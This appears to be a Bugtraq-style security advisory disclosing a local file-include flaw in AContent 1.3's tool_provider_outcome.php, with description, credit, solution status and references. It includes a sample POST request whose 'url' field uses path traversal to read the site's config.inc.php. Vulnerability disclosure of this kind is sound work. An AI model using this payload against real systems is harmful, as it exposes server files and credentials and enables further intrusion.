AContent 'tool_provider_outcome.php' Local File Include Vulnerability

Bugtraq ID:	58659
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 23 2013 12:00AM
Updated:	Mar 23 2013 12:00AM
Credit:	DaOne
Vulnerable:	Greg Gay AContent 1.3
Not Vulnerable:

AContent 'tool_provider_outcome.php' Local File Include Vulnerability

AContent is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

AContent 1.3 is vulnerable; other versions may also be affected.

AContent 'tool_provider_outcome.php' Local File Include Vulnerability

An attacker can exploit the issue with a browser

The following example POST data is available:

POST http://www.example.com/AContent/oauth/lti/common/tool_provider_outcome.php HTTP /1.1
grade=1&key=1&secret=secret&sourcedid=1&submit=Send%20Grade&url=../../../include/config.inc.php

AContent 'tool_provider_outcome.php' Local File Include Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

AContent 'tool_provider_outcome.php' Local File Include Vulnerability

References:

• AContent Product Page (atutor.com)
  
• AContent Project Page (SourceForge)